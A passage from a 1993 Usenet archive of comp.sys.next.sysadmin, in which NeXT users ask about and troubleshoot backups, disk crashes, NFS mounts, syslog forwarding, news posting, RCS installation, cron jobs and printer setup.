26 18:50:32 diald[131]: Unauthorized protocol UDP (17) May 26 18:50:32 diald[131]: slip0 non-authorized packet May 26 18:55:31 mach: dutimer: unit 0 - shutdown, we never had a line. May 26 18:55:31 mach: dutnetclose: ds 1102a000 dstty 0 unit 0 My configuration is: a NeXT 040 running 3.0, Dial-Up IP version 920904 Thanks for any help... Paul Verket (NeXTmail ok)
From: bosborne@nature.BErkeley.EDU Newsgroups: comp.sys.next.sysadmin Subject: gnutar example Date: 27 May 1993 00:25:19 -0400 Organization: The Ohio State University Sender: daemon@magnus.acs.ohio-state.edu Message-ID: <9305270425.AA01981@nature.berkeley.edu.cnr-net> To the group, Please excuse my beginner's question, but my explorations have not yielded any answers to this problem. I would like to use gnutar to do an incremental backup to my tapedrive. Could someone supply an example command to me? gnutar backs up, but ignores '+update' no matter where I put it. I cannot seem to use the '-g' option either. Please respond to my address, and I will gladly summarize to the group (or is this just _too_ elementary :-)? Thank you for your attention to this matter, ------------------------------------------------------------ Brian Osborne Plant Gene Expression Center bosborne@insect.berkeley.edu Albany CA USA ------------------------------------------------------------
From: neuss@igd.fhg.de (Christian Neuss ) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware Subject: Re: HD crash... need good advice and pain killers. Keywords: crash, SCSI, Toshiba, crap Message-ID: <neuss.738434793@ramazzotti> Date: 26 May 93 16:46:33 GMT References: <1993May23.223830.11649@galileo.cc.rochester.edu> <1993May24.125628.31246@rchland.ibm.com> Sender: news@igd.fhg.de Followup-To: comp.sys.next.sysadmin tpg@rchland.vnet.ibm.com (Terry Gliedt) writes: >In article <1993May23.223830.11649@galileo.cc.rochester.edu>, jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd) writes: >|> >|> While attempting my first backup (I'm a poor student, so I have to borrow a >|> tape drive... no backup flames, please.) somehow my 1.2G Toshiba MK-538FB >|> drive bit the dust. It now usually refuses to come ready and makes a really >|> bad-sounding "clunk-clunk-clunk" instead of the pleasant little chirp it >|> usually makes when it comes up to speed. >|> >|> Questions: >|> Has anyone had similar experiences with Toshiba (or any) HDs? >|> Is it more likely a head crash or chip burnout (solid state error)? >|> Does anyone have any good reccomendations for data recovery firms? [munch] >If, for instance the label area of your disk was trashed, the operating system >would not be able to find important areas of the disk and the disk would cycle >again and again with this click-click sound. >Unfortunately I was never able to revive any disk that got in this condition >(but >then I had backups that worked). I suspect it is possible to resurrect your >disk, but I can't give you any more help than some sympathy. Good luck Oh-oh.. poor chap.. what one *can* do is the following.. we once had a disk crash and did this.. If the disk is not physically defect, one can still access it via the raw interface via /dev/rsd0a (number may be different, since you'll need another disk for booting). What you can then do is dump the disk on a tape, and then process that tape block by block.. you'll lose alot, but you can at least retrieve some data. The first thing to try is boot via CDROM or via another HD (or even attach this disk to another machine), so that your disk is *not* the bootdisk, but an additional data disk. MAKE A DUMP TO TAPE FIRST or perhaps its possible to set the disk read-only. Some disks have jumpers for this purpose. It might be possible to read that disk. perhaps.. well probably.. you'll have to fsck first.. but if you are lucky, only the bootrecord is crashed.. and perhaps the data files are still ok.. What does the monitor say BTW? enter it via cmd-cmd-~ or alt-cmd-~ if you have a turbostation, then type mon, then (in mon) type "b" for boot. Then you're able to see the diagnostic messages.. could be helpfull. Good luck man Chris /* * Christian Neuss % neuss@igd.fhg.de % ..in the humdrum */
From: dbora@ils.nwu.edu (Donald Bora) Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,comp.sys.programmer Subject: Optical disk problems... Date: 27 May 1993 18:26:25 GMT Organization: The Institute for the Learning Sciences Distribution: world Message-ID: <1u314h$41h@anaxagoras.ils.nwu.edu> I have an optical disk question. I acquired a Next cube knowing full well that the OD didn't work. Well, I used the instructions for opening up the drive and cleaning it out and I am farther (it was mega dusty) but not quite all the way there. I tried to read the first disk and got disk errors in the 280000 sector ( I think ) ... I reformatted the disk and was able to read and write information, however, I still was getting those disk errors. Just to be sure it was the drive and not the disk I borrowed another disk from someone and got the same errors reading. A friend of mine has suggested that it may be an alignment thing. Anybody out there have any comments? -*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* Donald F. Bora | | | The Institute for the Learning Sciences | | O | Northwestern University | (--|--) Evanston, Ill | | e-mail: dbora@ils.nwu.edu | / \ work: (708) 467-1972 | --------Be excellent to each other--------
From: arzt@dccs.upenn.edu (Noam H. Arzt) Newsgroups: comp.sys.next.sysadmin Subject: Re: Using NEXTSTEP for a Mac server and connection to Unix network Message-ID: <128595@netnews.upenn.edu> Date: 27 May 93 20:07:59 GMT References: <1993May19.030452.9893@csus.edu> Sender: news@netnews.upenn.edu In article <1993May19.030452.9893@csus.edu> eps@futon.SFSU.EDU (Eric P. Scott) writes: > > What *exactly* do you want under the heading "Macintosh > connectivity?" > This is the REAL question... > Things you can do *without* IPT products: > > + Read and write Macintosh-formatted diskettes This may fall out of NS486 to IPT's privately packaged products... > + Run Macintosh applications on NeXT hardware ..with Executor > + Transfer files between NeXTs and Macs, with either side > initiating the transfer ..with a good ftp client... > + Have NeXT files appear on Mac as network mounted volumes ..only with a Mac NFS client, like NFS/Share from Intercon (just got it an dit works fine) > + Print from NeXTs to an Apple LaserWriter ..using built-in AppleTalk support if it stays in NS/Intel... > + Print from Macs to a NeXT Laser Printer .. not without an LPR client, like Intercon's InterPrint > + Send and receive electronic mail Best way is to probably using a POP server (like Popper) on the NeXT, and a POP client (like Eudora) on the Mac's. > + Log onto NeXT remotely with ASCII terminal interface .. no problem... > + Access databases stored on the NeXT side > not sure what this means or how you do it... I don't think IPT's software buys you many SERVER features, but mostly client features, other than bi-directional AppleTalk printing... -- Mr. Noam Arzt 215/898-3029 (voice) Director, Special Projects 215/898-9348 (FAX) University of Pennsylvania arzt@dccs.upenn.edu Data Communications & Computing Services (NeXTmail is OK) Suite 221A, 3401 Walnut Street, Philadelphia, PA 19104
From: huffb@ix.tsg.com (Robert Huff) Newsgroups: comp.sys.next.sysadmin Subject: Associating Applications with Suffixes Date: 27 May 1993 20:42:09 GMT Organization: Telos Systems Group, Chantilly, VA Message-ID: <1u3931$n1m@obelix.tsg.com> Hi! How can I associate a program's suffix with a NeXT app? For example, I double-click on a JPEP file and NeXT starts up the image viewer. Thanks.
Newsgroups: comp.sys.next.sysadmin From: jblue@ocotillo.mitre.org (Jason D. Blue) Subject: SunOS/Solaris NFS mounted drives - BUG? Message-ID: <1993May27.201738.3213@linus.mitre.org> Sender: news@linus.mitre.org (News Service) Organization: The MITRE Corporation Date: Thu, 27 May 1993 20:17:38 GMT I remember reading at some point of a bug that appears when NeXT writes to NFS mounted SUN devices. Can anyone provide more details (i.e. what version of NEXTSTEP effected, patches, etc.) Thanks, Jason -- Jason D. Blue NeXT Network and Systems Administrator The MITRE Corporation, McLean, VA jblue@mitre.org (NeXT Mail Encouraged!)
From: rcc@next1.math.pitt.edu (robert cyphers) Newsgroups: comp.sys.next.sysadmin Subject: Autonfsmount Hangs Keywords: automount autonfsmount mount Message-ID: <12533@blue.cis.pitt.edu> Date: 27 May 93 22:00:53 GMT Sender: news+@pitt.edu Hello NeXT netters, Under NeXTStep 2.1, after I execute the following mount command (on host 'next6') next6% /usr/etc/mount -t nfs -o rw,bg,net next1:/users /Net then when I click on /Net/next7 (for example) in the WorkspaceMgr, the computer hangs with a spinning wheel. The error message (/usr/adm/messages) says: May 26 14:16:27 next6 mach: NFS server (autonfsmount[100]) not responding still trying Before I execute the mount command I can view the directory /Net/next7/ with the WorkspaceMgr or ls. Why would the NFS mount of next1:/users cause the automount to hang? The next1 exports /users properly (I think): / -access=next6:next7:nexttecroot=next11 Robert C Cyphers
Newsgroups: comp.sys.next.sysadmin From: iwelch@agsm.ucla.edu (Ivo Welch) Subject: HP LJ 4M - printing a PCL file? Message-ID: <1993May27.144938.18015@mic.ucla.edu> Organization: UCLA, Anderson Graduate School Of Management Date: 27 May 93 14:49:37 PDT Now that I have a PCL+PS printer, is there a way to also spool PCL files to it? /ivo welch
Newsgroups: comp.sys.next.sysadmin From: petcher@ebenezer.wustl.edu (Donald N. Petcher) Subject: Building non-standard boot disks Message-ID: <1993May28.012843.27586@wuphys.wustl.edu> Sender: usenet@wuphys.wustl.edu (USENET) Organization: Washington U. Physics Dept Date: Fri, 28 May 1993 01:28:43 GMT I have a MOST optical drive (reads 128 Mb ISO and 256Mb proprietary disks) and I would like to make a boot disk out of one of the 256Mb disks. The amount of data I will be loading is somewhat over 200Mb which should work. However, Builddisk (which treats this disk as another hard disk) chooses a default format that causes an inode to take about 23k rather than the usual 4k of space. Thus too much space is taken as overhead and there is not enough space left for the data. newfs (run by Builddisk via disk) tells me that if I set the cylinders/group to a lower number (16 is chosen by default), less will be used per inode. Indeed if I do this by hand running newfs (-c option) then it works. The problem is to get Builddisk to do this. The script used by Builddisk (/usr/etc/builddisk) calls newfs through disk. It appears that there is no way to change the arguments sent to newfs via disk, nor is there a way to change the arguments sent to disk via builddisk anyway. Does anyone know of a way to do this? It appears that if I make a proper disktab entry for the MOST drive, then it would work (but presently I don't know all the parameters I should use). So this information would be useful also. Can anyone help? -- Don Petcher, petcher@wuphys.wustl.edu, petcher@ebenezer.wustl.edu Department of Physics, Washington University, Saint Louis, Missouri 63130
Newsgroups: comp.sys.next.sysadmin From: rprice@cbnewsg.cb.att.com (rodney.price) Subject: 3.0 upgrade advice: it's slow.... Message-ID: <C7pq3C.Lxo@cbfsb.cb.att.com> Keywords: 3.0 upgrade slow Sender: news@cbfsb.cb.att.com Organization: AT&T Date: Fri, 28 May 1993 01:13:59 GMT Thanks to all those who responded to my post by email. I first tried using the 3.0 upgrade app, but when my computer hung after the reboot process I decided to wipe the internal disk entirely and install from scratch. (My old NextLibrary directory was over on the external disk, with a soft link on the internal pointing to it. Apparently this can cause problems with the upgrade.) Now I've installed the user system, the developer, documentation, and TeX packages on my internal drive. When I first did this, I got the Xoxeroids game installed, and found that, if anything, it was too fast. Now it's so slow it's unplayable, even right after a reboot. Earlier tonight my computer got slower, slower, still slower, and after a trip to the vending machines I came back to find it completely unresponsive. The mouse pointer still moved but clicking had no effect. The machine was so far gone that it didn't even respond to the power key. Calling up the NMI monitor worked, but typing "halt" had no effect. I finally had to unplug the computer to reboot. I'm at a loss for answers. I'd appreciate some help. Thanks very much, Rod Price rprice@physics.att.com
Newsgroups: comp.sys.next.sysadmin From: ben@frogware.com (Ben Bernhard) Subject: Newsgrazer Q: more on posting Message-ID: <1993May27.185533.2625@frogware.com> Sender: ben@frogware.com Organization: frogware Date: Thu, 27 May 1993 18:55:33 GMT Ok, now I'd like to have my signature line, and not the generic one somebody is sticking in. What do I do? If I uncheck the ignore sig box in newsgrazer, I get mine AND the generic one. My, this IS fun. -- ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Ben Bernhard frogware ben@frogware.com
Newsgroups: comp.sys.next.sysadmin From: root@frogware.com Subject: Newsgrazer posting Message-ID: <1993May27.181747.1814@frogware.com> Sender: root@frogware.com (Operator) Organization: frogware Date: Thu, 27 May 1993 18:17:47 GMT Help! I can only post from my root account, why? Posting under any other account results in a dead.article file. I've seen this question asked before, but have never seen any answer. I'd mutch appreciate any help. Please respond to: Ben Bernhard ben@frogware.com NeXTmail welcome
Newsgroups: comp.sys.next.sysadmin From: ben@frogware.com (Ben Bernhard) Subject: Re: Newsgrazer posting Message-ID: <1993May27.185129.2448@frogware.com> Sender: ben@frogware.com Organization: frogware References: <1993May27.181747.1814@frogware.com> Date: Thu, 27 May 1993 18:51:29 GMT Finally figured it out, I needed to add myself (the ben user, and any others that should be able to post) to the "news" group- just used user manager. If this is a bad idea, and there is a better way to do this, somebody pls tell me! In article <1993May27.181747.1814@frogware.com> root@frogware.com writes: > Help! > I can only post from my root account, why? Posting under any other account > results in a dead.article file. > I've seen this question asked before, but have never seen any answer. I'd > mutch appreciate any help. > > Please respond to: > Ben Bernhard > ben@frogware.com > NeXTmail welcome -- ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Ben Bernhard frogware ben@frogware.com NeXT mail welcome -- ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Ben Bernhard frogware ben@frogware.com
Newsgroups: comp.sys.next.sysadmin From: ben@frogware.com (Ben Bernhard) Subject: SLIP and PPP experiences Message-ID: <1993May28.012932.4382@frogware.com> Sender: ben@frogware.com Organization: frogware Date: Fri, 28 May 1993 01:29:32 GMT I'm considering setting myself up with a slip or ppp connection to the office. I'd like to hear about your experiences. Speed issues are especially important- Is it reasonable to mount the remote file system? I'm probably going to be using a 14.4 ZYXEL modem, and of course my wonderful _still black_ hardware. How difficult is it to get set up (relative to the uucp connection I have now). What additional utilities will I need & where can I get them? Does it take much effort to maintain once set up? Any pointers/suggestions/hints would be greatly appreciated. thanks, ben -- ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Ben Bernhard frogware ben@frogware.com
From: wjabi@libra.arch.umich.edu (Wassim M. Jabi) Newsgroups: comp.sys.next.sysadmin Subject: HELP: local root directory shows up under /Net???? Date: 28 May 1993 01:53:54 GMT Organization: University of Michigan Engineering, Ann Arbor Distribution: usa Message-ID: <1u3rbiINNhl8@srvr1.engin.umich.edu> I don't know if this has been answered before: My machine name is "libra" and I have mounted two other nexts on /Net (next1 and golden). Sometimes, when I go to /Net I find: golden libra next1 and libra is exactly the root dir of my machine and keeps recursing like that! Any one seen this before, knows a solution? Re-booting the machine clears it up. Please e-mail me. -- Wassim M. Jabi (313) 936-0229 Doctoral Program in Architecture, University of Michigan 2000 Bonisteel Boulevard Ann Arbor Michigan 48105-2313 wjabi@libra.arch.umich.edu NeXTMail-friendly
From: nevai@math.ohio-state.edu (Paul Nevai) Newsgroups: comp.sys.next.sysadmin Subject: the number of processes - question(s) Date: 28 May 1993 16:48:00 GMT Organization: Department of Mathematics, The Ohio State University Sender: Paul Nevai Distribution: world Message-ID: <1u5fo0$b90@mathserv.mps.ohio-state.edu> Originator: nevai@ops.mps.ohio-state.edu (i) What is the default number of processes in NeXT 3.0 (3.1) allowable for a user AND for root before it starts to tell you that "no more processes..." (ii) How do I change the default number? (iii) What's a maximum number which is OK? (I am the only reular user of my NeXT + 4 occasional users). Please respond by email. Thanks. Take care...Paul Paul Nevai nevai@math.ohio-state.edu Dept Math - Ohio State University 1-614-292-3317 (Office) Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin From: brad@instep.wimsey.bc.ca Subject: /etc/hosts intro comment is bullshit... Lies! Lies! Lies! Message-ID: <1993May28.180158.389@instep.wimsey.bc.ca> Sender: brad@instep.wimsey.bc.ca (Bradley Head) Organization: InStep Mobile Communications Inc. Date: Fri, 28 May 1993 18:01:58 GMT I'm getting rather annoyed at NeXT and their ignorance of BSD UNIX. How is it that with each release of NEXTSTEP, NeXT manages to break one more UNIX tool? Do they have no shame? Case in point: The first few lines of the /etc/hosts file it says the following: # # NOTE: This file is never consulted if NetInfo or Yellow Pages is # running. # Life Rule Number 4,002,983: Never believe _never_. If you do, you'll be wasting your time and your companies time. As of Release 3.0, NeXT has yet to understand the fragile nature of UNIX. I've been trying all day to get the following syslog daemon configuration file (on host whiterock) to work: # # /etc/syslog.conf - on host whiterock. # # forward local1, and local2 to syslogd on host vancouver # local1.debug @vancouver local2.debug @vancouver When syslogd starts up it says it can't find host vancouver. Okay, why not? Well, it starts up as an early daemon, so perhaps netinfo isn't available at the time syslogd needs the host information. That would seem logical. So, I send syslogd a HUP signal which causes it to re-read its configuration file. There, that ought to take care of it... Nope! Still no logging is taking place on host vancouver. That's when I call bullshit to the _NOTE_ in /etc/hosts file. I enter the ip address and name of vancouver into /etc/hosts file, in this case : # # /etc/hosts - on host whiterock # 192.42.172.1 vancouver NOW, I send a HUP signal to syslogd on whiterock, and, well what do you know? - logging is now taking place. Syslogd on whiterock can now forward messages to the syslogd on host vancouver. Gee, that seems to conflict with the statement in /etc/hosts. Quit feeding us bullshit, NeXT! I wish NeXT would appreciate the POWER of UNIX and its collection of very useful tools, and learn to respect that POWER by leaving well enough alone what they do not fully understand. brad. -- Bradley Head Software Developer, InStep Mobile Communications Inc. brad@instep.wimsey.bc.ca (NeXTmail accepted) 604 872-7116 fax: 604 872-7125
Newsgroups: comp.sys.next.sysadmin From: obrooks@dale.ksc.nasa.gov(Oscar Brooks) Subject: NewSGrazer Problem Message-ID: <1993May28.181020.2060@dale.ksc.nasa.gov> Keywords: News NNTP Sender: news@dale.ksc.nasa.gov Organization: NASA Date: Fri, 28 May 1993 18:10:20 GMT I am using a SparcStation 2 as a news server for a bunch of NeXT computers. The NeXT use an appliaction (NewsGrazer) that has nntp built into it to communicate with nntp on the SUN. Everything has been working fine for about 8 months until suddenly the appliaction on the NeXT dies and breaks the connection to the SUN. In trying to determine what is going we have noticed that the SUN, when it gets a nntp connection, starts spawning numerous "localhost.sunsrpc". This is evident when you do a "netstat -a" on the SUN. Eventually the SUN creates to many sockets and uses all the resources. I have also tired just connecting to the SUN via "telnet SUN-NAME nntp" and numerous sockets still get created. The outcome is the same with using up all the resources. Can anyone give me a idea of what is wrong? Please respond to "obrooks@picard.ksc.nasa.gov" due to news server not being reliable. Oh, if you use "trn" on the SUN it still works fine. Following is example output of "netstat -a": dale# netstat -a Active Internet connections (including servers) Proto Recv-Q Send-Q Local Address Foreign Address (state) tcp 0 0 localhost.3573 localhost.sunrpc TIME_WAIT tcp 0 0 localhost.3572 localhost.sunrpc TIME_WAIT tcp 0 0 localhost.3571 localhost.sunrpc TIME_WAIT tcp 0 0 localhost.3570 localhost.sunrpc TIME_WAIT tcp 0 0 localhost.3569 localhost.sunrpc TIME_WAIT tcp 0 0 localhost.3568 localhost.sunrpc TIME_WAIT tcp 0 0 localhost.3567 localhost.sunrpc TIME_WAIT tcp 0 0 localhost.3566 localhost.sunrpc TIME_WAIT tcp 0 0 localhost.3565 localhost.sunrpc TIME_WAIT tcp 0 0 localhost.3564 localhost.sunrpc TIME_WAIT tcp 0 0 localhost.3563 localhost.sunrpc TIME_WAIT tcp 0 0 localhost.3562 localhost.sunrpc TIME_WAIT tcp 0 0 localhost.3561 localhost.sunrpc TIME_WAIT tcp 0 0 localhost.3560 localhost.sunrpc TIME_WAIT tcp 0 0 localhost.3559 localhost.sunrpc TIME_WAIT tcp 0 702 dale.login worf.1023 ESTABLISHED tcp 0 0 dale.nntp laforge.3136 ESTABLISHED tcp 0 0 *.printer *.* LISTEN tcp 0 0 *.chargen *.* LISTEN tcp 0 0 *.daytime *.* LISTEN tcp 0 0 *.discard *.* LISTEN tcp 0 0 *.echo *.* LISTEN tcp 0 0 *.time *.* LISTEN tcp 0 0 *.finger *.* LISTEN tcp 0 0 *.uucp *.* LISTEN tcp 0 0 *.nntp *.* LISTEN tcp 0 0 *.exec *.* LISTEN tcp 0 0 *.login *.* LISTEN tcp 0 0 *.shell *.* LISTEN tcp 0 0 *.telnet *.* LISTEN tcp 0 0 *.ftp *.* LISTEN tcp 0 0 *.728 *.* LISTEN tcp 0 0 *.725 *.* LISTEN tcp 0 0 *.720 *.* LISTEN tcp 0 0 *.716 *.* LISTEN tcp 0 0 *.715 *.* LISTEN tcp 0 0 *.* *.* CLOSED tcp 0 0 *.713 *.* LISTEN tcp 0 0 *.smtp *.* LISTEN tcp 0 0 *.sunrpc *.* LISTEN udp 0 0 *.1035 *.* udp 0 0 *.1034 *.* udp 0 0 *.1033 *.* udp 0 0 *.1032 *.* udp 0 0 *.1031 *.* udp 0 0 *.1030 *.* udp 0 0 *.chargen *.* udp 0 0 *.daytime *.* udp 0 0 *.discard *.* udp 0 0 *.echo *.* udp 0 0 *.time *.* udp 0 0 *.talk *.* udp 0 0 *.biff *.* udp 0 0 *.name *.* udp 0 0 *.731 *.* udp 0 0 *.1029 *.* udp 0 0 *.1028 *.* udp 0 0 *.1027 *.* udp 0 0 *.1026 *.* udp 0 0 *.713 *.* udp 0 0 *.* *.* udp 0 0 *.710 *.* udp 0 0 *.2049 *.* udp 0 0 *.syslog *.* udp 0 0 *.659 *.* udp 0 0 *.sunrpc *.* udp 0 0 *.1025 *.* Active UNIX domain sockets Address Type Recv-Q Send-Q Vnode Conn Refs Nextref Addr ff65040c stream 0 0 fd838f78 0 0 0 /dev/printer ff64960c dgram 0 0 fd83dc78 0 0 0 /dev/log ff649b8c dgram 0 0 0 0 0 0 ff64b00c dgram 0 0 0 0 0 0 ff74978c dgram 0 0 0 0 0 0 THANKS !! O -- ------------------------------------------------ Oscar Brooks Mail Code: DL-DSD-24 Kennedy Space Center, Fla. 32899 Internet: obrooks@dale.ksc.nasa.gov
From: blake015@mc.duke.edu (Denise Blakeley) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc Subject: Need help--trouble installing RCS Message-ID: <15538@news.duke.edu> Date: 28 May 93 20:03:25 GMT Sender: news@news.duke.edu Followup-To: comp.sys.next.sysadmin I have installed GNU version 3.2 of diff/diff3 on our system in /usr/local/bin. Now I'm trying to install RCS (version 5.6). Outside of a few compiler warnings, the install appeared to go just fine. But when I run 'make installtest', it konks out during a test of rcsmerge. I wrote to the e-mail address provided in the RCS README for advice. He suggested that when this happens it's generally because either the Makefile defines for diff3 are incorrect, or because the vendor- supplied (i.e., NeXT) diff3 is lacking in some way. That's all. I checked my RCS Makefile, and it's looking in /usr/local/bin for diff3 just as it should. So that eliminates both of his suggestions. Has anyone had any experience with this recently and figured out the problem? Thanks-- Denise -- Denise Blakeley | PROGRAM, tr. v., An activity similar Duke Med Center Info Systems | to banging one's head against a wall, Durham, NC | but with fewer opportunities for (919) 282-6468 W | reward. blake015@mc.duke.edu |
Newsgroups: comp.sys.next.sysadmin From: kris@black.toppoint.de (Kristian Koehntopp) Subject: Re: set user cron job Message-ID: <1993May28.151322.12935@black.toppoint.de> Organization: Toppoint Mailbox e.V. References: <1993May26.154841.10125@kakwa.ucs.ualberta.ca> <C7nF0v.8Dr@northstar.com> Date: Fri, 28 May 1993 15:13:22 GMT Reproduktion, auch auszugsweise, ausserhalb elektronischer, nichtkommerzieller Datennetze nur mit ausdruecklichem, schriftlichem Einverstaendnis des Autors. In <C7nF0v.8Dr@northstar.com> A Ried Thiel (ried@NorthStar.com) writes: >0 1 * * * root su <username> -c '<program>' >This cron entry would run every morning at 1:00am as the user that you >substitute in <username>. What is wrong with 0 1 * * * <username> program? Kristian -- Kristian Koehntopp, Harmsstrasse 98, DW-2300 Kiel, +49 431 676689 "Unsere Modems koennen den GCC inzwischen auswendig." -- Heiko Blume
From: hans@symbas.UUCP (Hans Aafloy) Newsgroups: comp.sys.next.sysadmin Subject: messy output from cron process Message-ID: <3820@symbas.UUCP> Date: 28 May 93 10:49:12 GMT Distribution: world Organization: LindMac A/S, Trondheim, Norway The following hitch is about as minor as it is annoying: This nice little script: find /mydir -depth -print -exec rm {} \; is called "rmdat", and works fine when invoked from a command line. It's invoked from crontab like this : 0 * * * * root /autodel/rmdat > /usr/adm/auto.delete which works fine too - exept for one thing: The output file "auto.delete" is completely messed up. It seems that each file is tried removed ( or, perhaps rmdat is invoked ) several times when invoked from cron, so multiple reports are produced, which messes the output file up. Have any of you experienced anything similar ?? Thankful for all hints hans
Newsgroups: comp.sys.next.sysadmin From: heberlei@cs.ucdavis.edu (Louis Todd Heberlein) Subject: LaserWriter Pro 630 on NeXT Message-ID: <C7rD1y.nE@ucdavis.edu> Sender: usenet@ucdavis.edu (News Administrator) Organization: University of California, Davis Date: Fri, 28 May 1993 22:27:33 GMT Greetings, I have been trying to hook up an Apple LaserWriter Pro 630 to my NeXTstation (running NS 3.0), and I have been having some problems. The printer is connected via a mini-8 to mini-8 serial cable (mini-8 = RS422). I have done the following: On the LaserWriter: o Places the switch to position 5 giving the following... port: 8-pin/RS-422 (mini-8 like the on on the NeXT) type: serial baud rate: 9600 (I have also tried 19200) Parity: None Data Bits: 8 Stop Bits: 1 Flow Cntrl: XON/XOFF Protocol: Normal Mode: postScript On the NeXTstation: o Created my own printcap file and loaded it with: niload printcap / < myprintcap o I have tries different settings in the printcap (from the very simple, to detailed ones). The most recent is: 3031: \ :lf=/usr/adm/lpd-errs:sf=:sb=:mx=0: \ :br=9600:\ :if=/usr/lib/NextPrinter/Server/prserver: \ :cf=/usr/lib/NextPrinter/Server/pscf: \ :df=/usr/lib/NextPrinter/Server/psdf: \ :gf=/usr/lib/NextPrinter/Server/psgf: \ :nf=/usr/lib/NextPrinter/Server/psnf: \ :rf=/usr/lib/NextPrinter/Server/psrf: \ :tf=/usr/lib/NextPrinter/Server/pstf: \ :vf=/usr/lib/NextPrinter/Server/psvf:ty=LaserWriter Pro 630: \ :note=Isn't this wonderful????:nxformat=3.0: \ :sd=/usr/spool/NeXT/3031:af=/usr/adm/3031.acct:_writers=*: o After failing to print anything, I have modified the printer set-up with PrintManager. For example, I tried to set the "Type" (see Modify under PrintManager) to Apple LaserWriter IIg (i figure that is the closest). But in the end, none of this seems to have worked. If anyone could help me, I would greatly appreciate it. Thanks, Todd heberlei@cs.ucdavis.edu Unfortunately, nothing seems to work. Ca
Newsgroups: comp.sys.next.sysadmin From: spagiola@frinext.stanford.edu (Stefano Pagiola) Subject: Using the internal for swapfile Message-ID: <1993May28.225957.4950@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: DSO, Stanford University Date: Fri, 28 May 93 22:59:57 GMT I now have a large external and am using that as a boot disk. I want to use the internal for the swapfile. Is it correct that I should mount it at /private/vm/swapfile? Ciao, Stefano -- - Stefano Pagiola Food Research Institute, Stanford University spagiola@frinext.stanford.edu (NeXTMail encouraged) spagiola@FRI-nxt-Pagiola.stanford.edu (NeXTMail encouraged)
From: blake015@mc.duke.edu (Denise Blakeley) Newsgroups: comp.sys.next.sysadmin Subject: Re: Need help--trouble installing RCS (fixed; new problem) Message-ID: <15547@news.duke.edu> Date: 28 May 93 23:14:53 GMT References: <15538@news.duke.edu> Sender: news@news.duke.edu Denise Blakeley writes > I have installed GNU version 3.2 of diff/diff3 on our system in > /usr/local/bin. Now I'm trying to install RCS (version 5.6). > Outside of a few compiler warnings, the install appeared to go > just fine. But when I run 'make installtest', it konks out > during a test of rcsmerge. > > I wrote to the e-mail address provided in the RCS README for advice. > He suggested that when this happens it's generally because either the > Makefile defines for diff3 are incorrect, or because the vendor- > supplied (i.e., NeXT) diff3 is lacking in some way. That's all. That was me a few hours ago. Well, I just got a response from the RCS bug/problem e-mail address, and it turns out that if you have diff 3.2 on your system then you have to get RCS 5.6.0.1. I downloaded the newer version and installed everything just fine. If only the MIT archive site had been up-to-date on both, this wouldn't have happened! :-( New problem: I installed the new RCS man pages in /usr/man/man1, right where the installer wants to, right over the old ones. I also ran catman. So how is it that when I do 'man rcs' I still get the old page?? The only other manpage directory I know of is /usr/local/man, and they're not in there. Denise -- Denise Blakeley | PROGRAM, tr. v., An activity similar Duke Med Center Info Systems | to banging one's head against a wall, Durham, NC | but with fewer opportunities for (919) 282-6468 W | reward. blake015@mc.duke.edu |
From: tobi@pcmp.caltech.edu (Tobi Delbruck) Newsgroups: comp.sys.next.sysadmin Subject: can i use fstab for NFS filesystems? Date: 29 May 1993 00:11:01 GMT Organization: California Institute of Technology, Pasadena Message-ID: <1u69mlINNc0j@gap.caltech.edu> Keywords: netinfo, /etc/fstab does anyone know how to get mount to look at /etc/fstab for disks to mount? the comments in /etc/rc and in /etc/fstab suggest that mount will look in /etc/fstab if netinfo is not running. i tried turning off netinfo and rebooting, but mount still doesn't look in fstab for nfs mounts. (we don't need netinfo here because we use yellowpages from another server) any hints appreciated -tobi
Newsgroups: comp.sys.next.sysadmin From: eric%basilisk@src.honeywell.com (Eric D. Engstrom) Subject: Re: /bin/su sez: "No shell" - workspace login problem Message-ID: <C7rqKv.2A5@basilisk.uucp> Keywords: permissions problem solved Sender: eric@basilisk.uucp (Eric D. Engstrom) Organization: anonymous Date: Sat, 29 May 1993 03:19:43 GMT About a week or so ago, I posted a note about a problem I was having after getting a new, pre-installed 3.0 HD: -=> - /bin/su <some-user-not-in-wheel-group> -=> When I try to su to another user who is not in the wheel group -=> (everybody on my machine except my-login and "root"), -=> su says: "No shell". Well, after a couple of days, a friendly soul came through w/ the answer: The permissions on the root directory were, well, shall we say "incompatible w/ some unknown bug." I had removed world (other) write permissions from "/", but forgot and left the directory sticky bit on ("t" shown in the last column); for those who might not know, this feature allows files to be created by anyone, but only deleted by the creator or root. Anyway, after doing a "chmod 755 /.", everything worked again (including the stalled sendmail queue !) Happily NEXTSTEPping it again ;-) Eric +------------ Eric D. Engstrom, Honeywell Systems & Research Center, Mpls, MN, USA engstrom@src.honeywell.com -or- NeXT: eric%basilisk@src.honeywell.com < I eat from the four food groups: Barley, Hops, Yeast, Water >
